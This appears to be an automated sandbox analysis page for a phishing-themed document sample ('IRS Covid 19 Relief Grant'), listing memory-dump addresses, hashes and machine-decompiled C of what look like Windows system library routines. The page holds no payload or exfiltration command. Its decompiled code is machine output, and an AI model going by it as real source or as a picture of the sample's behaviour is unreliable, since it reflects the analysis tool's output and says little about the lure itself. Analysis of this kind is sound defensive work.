0x1e2d1650
0x1e2d15f3
0x1e289af4
0x1e289af7
0x1e289afc
0x1e289b00
0x1e289b04
0x1e289b08
0x1e289b14
0x1e2899fe
0x1e289a04
0x1e289a07
0x00000000
0x1e289a29
0x1e2d169c
0x1e2d16a0
0x1e2d16a5
0x1e2d16a9
0x1e2d16b5
0x1e2d16ba
0x1e2d16bc
0x1e2d16be
0x1e2d16c3
0x1e2d16c3
0x1e2d16bc
0x1e2d16c8
0x1e2d16cc
0x1e2d181b
0x1e2d181b
0x1e2d181e
0x1e2d181e
0x1e2d1821
0x1e2d1823
0x1e2d1826
0x1e2d1829
0x1e2d182c
0x1e2d182e
0x1e2d1688
0x1e2d1688
0x1e2d1689
0x1e2d168b
0x1e2d168c
0x1e2d168d
0x1e2d168f
0x1e2d1692
0x00000000
0x1e2d1692
0x1e2d1834
0x1e2d1836
0x00000000
0x00000000
0x1e2d183f
0x1e2d1842
0x1e2d1848
0x1e2d184a
0x1e2d1875
0x1e2d1875
0x1e2d1878
0x1e2d187b
0x1e2d187d
0x1e2d1880
0x1e2d1884
0x1e2d18a7
0x1e2d18a7
0x1e2d18aa
0x1e2d18ad
0x1e2d18b6
0x1e2d18bd
0x1e2d18c0
0x1e2d18c3
0x1e2d18c5
0x1e2d18c8
0x1e2d18ca
0x1e2d18ca
0x1e2d18cd
0x1e2d18cd
0x1e2d18c8
0x1e2d18d5
0x1e2d18da
0x1e2d18df
0x1e2d18e2
0x1e2d18e5
0x1e2d18e7
0x1e2d18ee
0x1e2d18f2
0x1e2d1912
0x1e2d1917
0x1e2d18f4
0x1e2d190a
0x1e2d190f
0x1e2d1925
0x1e2d192c
0x1e2d1931
0x1e2d193a
0x1e2d193e
0x1e2d1940
0x1e2d1947
0x1e2d1948
0x1e2d1948
0x1e2d193e
0x1e2d18e5
0x1e2d194f
0x1e2d1952
0x1e2d1956
0x1e2d195d
0x1e2d1961
0x1e2d196d
0x00000000
0x1e2d196d
0x1e2d188a
0x1e2d188f
0x1e2d1891
0x00000000
0x00000000
0x1e2d189d
0x00000000
0x1e2d189d
0x1e2d184c
0x1e2d1859
0x1e2d1859
0x1e2d185c
0x00000000
0x00000000
0x1e2d1851
0x1e2d1853
0x1e2d1855
0x1e2d1865
0x1e2d1865
0x1e2d1866
0x1e2d1868
0x1e2d1870
0x00000000
0x1e2d1870
0x1e2d1857
0x1e2d1857
0x1e2d185e
0x00000000
0x1e2d16d2
0x1e2d16d2
0x1e2d16d5
0x1e2d16d5
0x1e2d16d8
0x1e2d16da
0x1e2d16dd
0x1e2d16e0
0x1e2d16e3
0x1e2d16e5
0x1e2d1808
0x1e2d1808
0x1e2d1809
0x1e2d1812
0x1e2d1817
0x1e2d1817
0x00000000
0x1e2d1817
0x1e2d16eb
0x1e2d16ed
0x00000000
0x00000000
0x1e2d16f6
0x1e2d16f9
0x1e2d16ff
0x1e2d1701
0x1e2d172c
0x1e2d172c
0x1e2d172f
0x1e2d1732
0x1e2d1734
0x1e2d1737
0x1e2d173b
0x1e2d175e
0x1e2d175e
0x1e2d1761
0x1e2d1764
0x1e2d176d
0x1e2d1774
0x1e2d1777
0x1e2d177a
0x1e2d177c
0x1e2d177f
0x1e2d1781
0x1e2d1781
0x1e2d1784
0x1e2d1784
0x1e2d177f
0x1e2d178c
0x1e2d1791
0x1e2d1796
0x1e2d1799
0x1e2d179c
0x1e2d179e
0x1e2d17a5
0x1e2d17a9
0x1e2d17c9
0x1e2d17ce
0x1e2d17ab
0x1e2d17c1
0x1e2d17c6
0x1e2d17dc
0x1e2d17e3
0x1e2d17e8
0x1e2d17ee
0x1e2d17f1
0x1e2d17f5
0x1e2d17f7
0x1e2d17fe
0x1e2d17ff
0x1e2d17ff
0x1e2d17f5
0x1e2d179c
0x00000000
0x1e2d1764
0x1e2d1741
0x1e2d1746
0x1e2d1748
0x00000000
0x00000000
0x1e2d1754
0x00000000
0x1e2d1754
0x1e2d1703
0x1e2d1710
0x1e2d1710
0x1e2d1713
0x00000000
0x00000000
0x1e2d1708
0x1e2d170a
0x1e2d170c
0x1e2d171c
0x1e2d171c
0x1e2d171d
0x1e2d171f
0x1e2d1727
0x00000000
0x1e2d1727
0x1e2d170e
0x1e2d170e
0x1e2d1715
0x00000000
0x1e2d1715
0x1e2d16cc
0x1e289a45
0x1e289a45
0x1e289a0e
0x1e289a1c
0x1e289a23
0x1e2d167e
0x1e2d167f
0x1e2d1681
0x1e2d1683
0x1e2d1684
0x00000000
0x1e2d1684
0x00000000
0x1e289aad
0x1e289aad
0x1e289ab0
0x1e289ab3
0x1e289ab3
0x1e289ab6
0x00000000
0x00000000
0x1e289ab8
0x1e289aba
0x1e289abc
0x1e289ac8
0x1e289ac8
0x00000000
0x1e289abe
0x1e289abe
0x1e289ac0
0x00000000
0x1e289ac0
0x1e289abc
0x1e289ad2
0x00000000
0x1e289ad2
0x1e289aab

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 1E2D1572, 1E2D1639, 1E2D17DE, 1E2D1927
HEAP: , xrefs: 1E2D155D, 1E2D1624, 1E2D17C9, 1E2D1912
HEAP[%wZ]: , xrefs: 1E2D1550, 1E2D1617, 1E2D17BC, 1E2D1905

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: f289d1c90d75b91e61b6e5a4d00b5dbaa50716775e4cde57003c0a2f6a820d58
Instruction ID: 85418417a5f3102c6ab43bcc8ef7e25bd389a4ffce71f1df5f484cc69a23aa99
Opcode Fuzzy Hash: f289d1c90d75b91e61b6e5a4d00b5dbaa50716775e4cde57003c0a2f6a820d58
Instruction Fuzzy Hash: D122E274A003869FE714CF29C4A0B6AB7F6FF44704F3486A9E9468B785D735E889CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E33DFCE, Relevance: 3.5, APIs: 2, Instructions: 458
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E1E33DFCE(intOrPtr __ecx, signed int __edx, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed char _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t173;
				signed int _t175;
				unsigned int _t177;
				intOrPtr _t178;
				signed int _t201;
				unsigned int _t223;
				unsigned int _t240;
				signed int _t258;
				intOrPtr _t269;
				signed int _t270;
				signed char _t271;
				signed char _t273;
				signed int _t274;
				intOrPtr* _t281;
				signed int* _t284;
				signed char _t292;
				signed int _t293;
				signed char _t300;
				signed char _t305;
				intOrPtr _t314;
				signed int _t315;
				signed int _t319;
				signed int _t323;
				intOrPtr _t326;
				signed char _t328;
				signed int _t334;
				signed char _t335;
				void* _t365;
				signed int _t368;
				signed int* _t373;
				signed int _t377;
				signed int _t378;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				unsigned int _t384;
				void* _t385;
				void* _t386;
				void* _t387;
				void* _t388;
				void* _t389;
				void* _t390;
				signed int _t393;
				signed int _t406;
				signed int _t407;

				_t367 = __edx;
				_v8 =  *0x1e35d360 ^ _t407;
				_t269 = __ecx;
				_v44 = __ecx;
				if(__ecx == 0) {
					L80:
					_t270 = 0;
					L81:
					return E1E2AB640(_t270, _t270, _v8 ^ _t407, _t367, _t383, _t392);
				}
				_t383 = _a4;
				if(_t383 == 0 || __edx == 0) {
					goto L80;
				} else {
					_v56 = _t383;
					_t393 = 0x4cb2f;
					_t384 = _t383 << 2;
					_v52 = __edx;
					if(_t384 < 8) {
						L7:
						_t385 = _t384 - 1;
						if(_t385 == 0) {
							L20:
							_t392 = _t393 * 0x25 + ( *_t367 & 0x000000ff);
							L21:
							_t15 = _t269 + 0x18; // 0x1e358680
							_v48 = _t15;
							L1E28FAD0(_t15);
							_t17 = _t269 + 0xc; // 0x1e358674
							_t367 = _t17;
							_t383 = 0;
							_v20 = _t367;
							_t271 = 0;
							while(1) {
								L22:
								_t19 = _t367 + 4; // 0x0
								_t173 =  *_t19;
								_v12 = _v12 | 0xffffffff;
								_v12 = _v12 << (_t173 & 0x0000001f);
								_t300 = _t392 & _v12;
								_v16 = _t300;
								_v16 = _v16 >> 0x18;
								_v28 = _t300;
								_v28 = _v28 >> 0x10;
								_v24 = _t300;
								_v24 = _v24 >> 8;
								_v32 = _t300;
								if(_t271 != 0) {
									goto L25;
								}
								_t240 = _t173 >> 5;
								_v36 = _t240;
								if(_t240 == 0) {
									_t270 = _t383;
									L34:
									if(_t270 == 0) {
										L38:
										_t272 = _v48;
										E1E28FA00(_v48, _t300, _t383, _v48);
										_t367 =  &_v56;
										_t175 = E1E33E62A(_v44,  &_v56, _t392);
										_v36 = _t175;
										if(_t175 != 0) {
											E1E282280(_t175, _t272);
											_t273 = _t383;
											do {
												_t368 = _v20;
												_v12 = _v12 | 0xffffffff;
												_t177 =  *(_t368 + 4);
												_v12 = _v12 << (_t177 & 0x0000001f);
												_t305 = _v12 & _t392;
												_v24 = _t305;
												_v24 = _v24 >> 0x18;
												_v28 = _t305;
												_v28 = _v28 >> 0x10;
												_v16 = _t305;
												_v16 = _v16 >> 8;
												_v40 = _t305;
												if(_t273 != 0) {
													while(1) {
														L44:
														_t273 =  *_t273;
														if((_t273 & 0x00000001) != 0) {
															break;
														}
														if(_t305 == ( *(_t273 + 4) & _v12)) {
															L48:
															if(_t273 == 0) {
																L55:
																_t178 = _v44;
																_t274 =  *(_t368 + 4);
																_v16 =  *((intOrPtr*)(_t178 + 0x28));
																_v32 =  *(_t178 + 0x20);
																_t181 = _t274 >> 5;
																_v24 =  *((intOrPtr*)(_t178 + 0x24));
																if( *_t368 < (_t274 >> 5) + (_t274 >> 5)) {
																	L76:
																	_t383 = _v36;
																	_t153 = (_t274 >> 5) - 1; // 0xffffffdf
																	_t367 = _t153 & (((_t274 & 0x0000001f | 0xffffffff) << (_t274 & 0x0000001f) &  *(_t383 + 4)) >> 0x00000018) + ((((_t274 & 0x0000001f | 0xffffffff) << (_t274 & 0x0000001f) &  *(_t383 + 4)) >> 0x00000010 & 0x000000ff) + ((((_t274 & 0x0000001f | 0xffffffff) << (_t274 & 0x0000001f) &  *(_t383 + 4)) >> 0x00000008 & 0x000000ff) + (((_t274 & 0x0000001f | 0xffffffff) << (_t274 & 0x0000001f) &  *(_t383 + 4) & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
																	_t281 = _v20;
																	_t314 =  *((intOrPtr*)(_t281 + 8));
																	 *_t383 =  *(_t314 + _t367 * 4);
																	 *(_t314 + _t367 * 4) = _t383;
																	 *_t281 =  *_t281 + 1;
																	E1E27FFB0(_t281, _t383, _v48);
																	goto L39;
																}
																_t315 = 2;
																if(E1E29F3D5( &_v40, _t181 * _t315, _t181 * _t315 >> 0x20) < 0) {
																	goto L76;
																}
																_t392 = _v40;
																if(_t392 < 4) {
																	_t392 = 4;
																}
																 *0x1e35b1e0(_t392 << 2, _v16);
																_t373 =  *_v32();
																_v12 = _t373;
																if(_t373 == 0) {
																	_t274 =  *(_v20 + 4);
																	if(_t274 >= 0x20) {
																		goto L76;
																	}
																	L78:
																	_t270 = _t383;
																	L79:
																	E1E27FFB0(_t270, _t383, _v48);
																	_t367 = _v36;
																	E1E33E5B6(_v44, _v36);
																	goto L81;
																} else {
																	_t107 = _t392 - 1; // 0x3
																	_t319 = _t107;
																	if((_t392 & _t319) == 0) {
																		L64:
																		if(_t392 > 0x4000000) {
																			_t392 = 0x4000000;
																		}
																		_t284 = _t373;
																		_t201 = _v20 | 0x00000001;
																		asm("sbb ecx, ecx");
																		_t323 =  !(_v12 + (_t392 << 2)) & _t392 << 0x00000002 >> 0x00000002;
																		if(_t323 <= 0) {
																			L69:
																			_t377 = _v20;
																			_v40 = (_t201 | 0xffffffff) << ( *(_t377 + 4) & 0x0000001f);
																			if(( *(_t377 + 4) & 0xffffffe0) <= 0) {
																				L74:
																				_t326 =  *((intOrPtr*)(_t377 + 8));
																				_t274 =  *(_t377 + 4) & 0x0000001f | _t392 << 0x00000005;
																				 *((intOrPtr*)(_t377 + 8)) = _v12;
																				 *(_t377 + 4) = _t274;
																				if(_t326 != 0) {
																					 *0x1e35b1e0(_t326, _v16);
																					 *_v24();
																					_t274 =  *(_v20 + 4);
																				}
																				goto L76;
																			} else {
																				goto L70;
																			}
																			do {
																				L70:
																				_t378 =  *((intOrPtr*)(_t377 + 8));
																				_v28 = _t378;
																				while(1) {
																					_t328 =  *(_t378 + _t383 * 4);
																					_v32 = _t328;
																					if((_t328 & 0x00000001) != 0) {
																						goto L73;
																					}
																					 *(_t378 + _t383 * 4) =  *_t328;
																					_t381 = _v12;
																					_t132 = _t392 - 1; // -1
																					_t334 = _t132 & (( *(_t328 + 4) & _v40) >> 0x00000018) + ((( *(_t328 + 4) & _v40) >> 0x00000010 & 0x000000ff) + ((( *(_t328 + 4) & _v40) >> 0x00000008 & 0x000000ff) + (( *(_t328 + 4) & _v40 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
																					_t292 = _v32;
																					 *_t292 =  *(_t381 + _t334 * 4);
																					 *(_t381 + _t334 * 4) = _t292;
																					_t378 = _v28;
																				}
																				L73:
																				_t377 = _v20;
																				_t383 = _t383 + 1;
																			} while (_t383 <  *(_t377 + 4) >> 5);
																			goto L74;
																		} else {
																			_t382 = _t383;
																			do {
																				_t382 = _t382 + 1;
																				 *_t284 = _t201;
																				_t284 =  &(_t284[1]);
																			} while (_t382 < _t323);
																			goto L69;
																		}
																	}
																	_t335 = _t319 | 0xffffffff;
																	if(_t392 == 0) {
																		L63:
																		_t392 = 1 << _t335;
																		goto L64;
																	} else {
																		goto L62;
																	}
																	do {
																		L62:
																		_t335 = _t335 + 1;
																		_t392 = _t392 >> 1;
																	} while (_t392 != 0);
																	goto L63;
																}
															}
															goto L49;
														}
													}
													_t273 = _t383;
													goto L48;
												}
												_t223 = _t177 >> 5;
												_v32 = _t223;
												if(_t223 == 0) {
													_t273 = _t383;
													L51:
													if(_t273 == 0) {
														goto L55;
													}
													_t88 = _t273 + 8; // 0x8
													if(E1E33E7A8(_t88) != 0) {
														goto L79;
													}
													goto L78;
												}
												_t273 =  *((intOrPtr*)(_t368 + 8)) + (_v32 - 0x00000001 & (_v24 & 0x000000ff) + 0x164b2f3f + (((_t305 & 0x000000ff) * 0x00000025 + (_v16 & 0x000000ff)) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025) * 4;
												_t305 = _v40;
												goto L44;
												L49:
											} while (E1E33EE71(_t273,  &_v56) == 0);
											_t368 = _v20;
											goto L51;
										}
										L39:
										_t270 = _t383;
										goto L81;
									}
									_t50 = _t270 + 8; // 0x8
									_t345 = _t50;
									if(E1E33E7A8(_t50) == 0) {
										_t270 = _t383;
									}
									E1E28FA00(_t270, _t345, _t383, _v48);
									goto L81;
								}
								_t40 = _t367 + 8; // 0x0
								_t271 =  *_t40 + (_v36 - 0x00000001 & (_v16 & 0x000000ff) + 0x164b2f3f + (((_t300 & 0x000000ff) * 0x00000025 + (_v24 & 0x000000ff)) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025) * 4;
								_t300 = _v32;
								L25:
								_t367 = _v12;
								while(1) {
									_t271 =  *_t271;
									if((_t271 & 0x00000001) != 0) {
										break;
									}
									if(_t300 == ( *(_t271 + 4) & _t367)) {
										L30:
										if(_t270 == 0) {
											goto L38;
										}
										if(E1E33EE71(_t270,  &_v56) != 0) {
											goto L34;
										}
										_t367 = _v20;
										goto L22;
									}
								}
								_t270 = _t383;
								goto L30;
							}
						}
						_t386 = _t385 - 1;
						if(_t386 == 0) {
							L19:
							_t393 = _t393 * 0x25 + ( *_t367 & 0x000000ff);
							_t367 = _t367 + 1;
							goto L20;
						}
						_t387 = _t386 - 1;
						if(_t387 == 0) {
							L18:
							_t393 = _t393 * 0x25 + ( *_t367 & 0x000000ff);
							_t367 = _t367 + 1;
							goto L19;
						}
						_t388 = _t387 - 1;
						if(_t388 == 0) {
							L17:
							_t393 = _t393 * 0x25 + ( *_t367 & 0x000000ff);
							_t367 = _t367 + 1;
							goto L18;
						}
						_t389 = _t388 - 1;
						if(_t389 == 0) {
							L16:
							_t393 = _t393 * 0x25 + ( *_t367 & 0x000000ff);
							_t367 = _t367 + 1;
							goto L17;
						}
						_t390 = _t389 - 1;
						if(_t390 == 0) {
							L15:
							_t393 = _t393 * 0x25 + ( *_t367 & 0x000000ff);
							_t367 = _t367 + 1;
							goto L16;
						}
						if(_t390 != 1) {
							goto L21;
						}
						_t393 = _t393 * 0x25 + ( *_t367 & 0x000000ff);
						_t367 = _t367 + 1;
						goto L15;
					}
					_t258 = _t384 >> 3;
					_v36 = _t258;
					_t293 = _t258;
					_t384 = _t384 + _t258 * 0xfffffff8;
					do {
						_t365 = (((((( *(_t367 + 1) & 0x000000ff) * 0x25 + ( *(_t367 + 2) & 0x000000ff)) * 0x25 + ( *(_t367 + 3) & 0x000000ff)) * 0x25 + ( *(_t367 + 4) & 0x000000ff)) * 0x25 + ( *(_t367 + 5) & 0x000000ff)) * 0x25 + ( *(_t367 + 6) & 0x000000ff)) * 0x25 + ( *_t367 & 0x000000ff) * 0x1a617d0d;
						_t406 =  *(_t367 + 7) & 0x000000ff;
						_t367 = _t367 + 8;
						_t393 = _t406 + _t365 - _t393 * 0x2fe8ed1f;
						_t293 = _t293 - 1;
					} while (_t293 != 0);
					_t269 = _v44;
					goto L7;
				}
			}

0x1e33dfce
0x1e33dfdd
0x1e33dfe1
0x1e33dfe3
0x1e33dfea
0x1e33e49c
0x1e33e49c
0x1e33e49e
0x1e33e4b0
0x1e33e4b0
0x1e33dff0
0x1e33dff5
0x00000000
0x1e33e003
0x1e33e003
0x1e33e006
0x1e33e00b
0x1e33e00e
0x1e33e014
0x1e33e07d
0x1e33e07d
0x1e33e080
0x1e33e0d6
0x1e33e0dc
0x1e33e0de
0x1e33e0de
0x1e33e0e2
0x1e33e0e5
0x1e33e0ea
0x1e33e0ea
0x1e33e0ed
0x1e33e0ef
0x1e33e0f2
0x1e33e0f4
0x1e33e0f4
0x1e33e0f4
0x1e33e0f4
0x1e33e0f9
0x1e33e100
0x1e33e105
0x1e33e108
0x1e33e10b
0x1e33e10f
0x1e33e112
0x1e33e116
0x1e33e119
0x1e33e11d
0x1e33e122
0x00000000
0x00000000
0x1e33e124
0x1e33e127
0x1e33e12c
0x1e33e197
0x1e33e199
0x1e33e19b
0x1e33e1b8
0x1e33e1b8
0x1e33e1bc
0x1e33e1c4
0x1e33e1c8
0x1e33e1cd
0x1e33e1d2
0x1e33e1dc
0x1e33e1e1
0x1e33e1e3
0x1e33e1e3
0x1e33e1e6
0x1e33e1ea
0x1e33e1f2
0x1e33e1f8
0x1e33e1fa
0x1e33e1fd
0x1e33e201
0x1e33e204
0x1e33e208
0x1e33e20b
0x1e33e20f
0x1e33e214
0x1e33e258
0x1e33e258
0x1e33e258
0x1e33e25d
0x00000000
0x00000000
0x1e33e267
0x1e33e26d
0x1e33e26f
0x1e33e2a3
0x1e33e2a3
0x1e33e2a6
0x1e33e2ac
0x1e33e2b5
0x1e33e2ba
0x1e33e2bd
0x1e33e2c5
0x1e33e418
0x1e33e418
0x1e33e451
0x1e33e45e
0x1e33e460
0x1e33e463
0x1e33e469
0x1e33e46b
0x1e33e46e
0x1e33e470
0x00000000
0x1e33e470
0x1e33e2cd
0x1e33e2dc
0x00000000
0x00000000
0x1e33e2e2
0x1e33e2e8
0x1e33e2ec
0x1e33e2ec
0x1e33e2fb
0x1e33e303
0x1e33e305
0x1e33e30a
0x1e33e47d
0x1e33e483
0x00000000
0x00000000
0x1e33e485
0x1e33e485
0x1e33e487
0x1e33e48a
0x1e33e48f
0x1e33e495
0x00000000
0x1e33e310
0x1e33e310
0x1e33e310
0x1e33e315
0x1e33e328
0x1e33e32f
0x1e33e331
0x1e33e331
0x1e33e336
0x1e33e340
0x1e33e34b
0x1e33e34f
0x1e33e351
0x1e33e35f
0x1e33e35f
0x1e33e374
0x1e33e377
0x1e33e3e6
0x1e33e3e9
0x1e33e3f5
0x1e33e3f7
0x1e33e3fa
0x1e33e3ff
0x1e33e40a
0x1e33e410
0x1e33e415
0x1e33e415
0x00000000
0x00000000
0x00000000
0x00000000
0x1e33e379
0x1e33e379
0x1e33e379
0x1e33e37c
0x1e33e37f
0x1e33e37f
0x1e33e382
0x1e33e388
0x00000000
0x00000000
0x1e33e38c
0x1e33e3b6
0x1e33e3c1
0x1e33e3c6
0x1e33e3c8
0x1e33e3ce
0x1e33e3d0
0x1e33e3d3
0x1e33e3d3
0x1e33e3d8
0x1e33e3d8
0x1e33e3db
0x1e33e3e2
0x00000000
0x1e33e353
0x1e33e353
0x1e33e355
0x1e33e355
0x1e33e356
0x1e33e358
0x1e33e35b
0x00000000
0x1e33e355
0x1e33e351
0x1e33e317
0x1e33e31c
0x1e33e323
0x1e33e326
0x00000000
0x00000000
0x00000000
0x00000000
0x1e33e31e
0x1e33e31e
0x1e33e31e
0x1e33e31f
0x1e33e31f
0x00000000
0x1e33e31e
0x1e33e30a
0x00000000
0x1e33e26f
0x1e33e269
0x1e33e26b
0x00000000
0x1e33e26b
0x1e33e216
0x1e33e219
0x1e33e21e
0x1e33e29f
0x1e33e286
0x1e33e288
0x00000000
0x00000000
0x1e33e28a
0x1e33e294
0x00000000
0x00000000
0x00000000
0x1e33e29a
0x1e33e252
0x1e33e255
0x00000000
0x1e33e271
0x1e33e27b
0x1e33e283
0x00000000
0x1e33e283
0x1e33e1d4
0x1e33e1d4
0x00000000
0x1e33e1d4
0x1e33e19d
0x1e33e19d
0x1e33e1a7
0x1e33e1a9
0x1e33e1a9
0x1e33e1ae
0x00000000
0x1e33e1ae
0x1e33e15d
0x1e33e160
0x1e33e163
0x1e33e166
0x1e33e166
0x1e33e169
0x1e33e169
0x1e33e16e
0x00000000
0x00000000
0x1e33e177
0x1e33e17d
0x1e33e17f
0x00000000
0x00000000
0x1e33e18d
0x00000000
0x00000000
0x1e33e18f
0x00000000
0x1e33e18f
0x1e33e179
0x1e33e17b
0x00000000
0x1e33e17b
0x1e33e0f4
0x1e33e082
0x1e33e085
0x1e33e0cd
0x1e33e0d3
0x1e33e0d5
0x00000000
0x1e33e0d5
0x1e33e087
0x1e33e08a
0x1e33e0c4
0x1e33e0ca
0x1e33e0cc
0x00000000
0x1e33e0cc
0x1e33e08c
0x1e33e08f
0x1e33e0bb
0x1e33e0c1
0x1e33e0c3
0x00000000
0x1e33e0c3
0x1e33e091
0x1e33e094
0x1e33e0b2
0x1e33e0b8
0x1e33e0ba
0x00000000
0x1e33e0ba
0x1e33e096
0x1e33e099
0x1e33e0a9
0x1e33e0af
0x1e33e0b1
0x00000000
0x1e33e0b1
0x1e33e09e
0x00000000
0x00000000
0x1e33e0a6
0x1e33e0a8
0x00000000
0x1e33e0a8
0x1e33e018
0x1e33e01b
0x1e33e01e
0x1e33e023
0x1e33e025
0x1e33e062
0x1e33e06a
0x1e33e06e
0x1e33e073
0x1e33e075
0x1e33e075
0x1e33e07a
0x00000000
0x1e33e07a

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 0fe782a31db303d7f04c34d0010df582d56adfbfc0893f64eed88068acdb6151
Instruction ID: 99e148cf6e98909f454958a5dac0f2f6ae8777323b612c88db02ce7fc41950e6
Opcode Fuzzy Hash: 0fe782a31db303d7f04c34d0010df582d56adfbfc0893f64eed88068acdb6151
Instruction Fuzzy Hash: 79F19872E003169BCB08CE9AC9D19BDFBF5EF49201B154369E856EB385D734D941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E27D5E0, Relevance: 1.9, APIs: 1, Instructions: 353
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E1E27D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x1e35d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E1E276600(0x1e3552d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x1e357b9c; // 0x0
							_t281 = L1E284620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E1E2AF3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x1e357b90; // 0x77df0000
								if(_t384 == 0) {
									_t353 =  *0x1e357b8c; // 0x832ae8
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E1E282280(_t200, 0x1e3584d8);
									_t277 =  *0x1e3585f4; // 0x834110
									_t351 =  *0x1e3585f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x8340a8
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
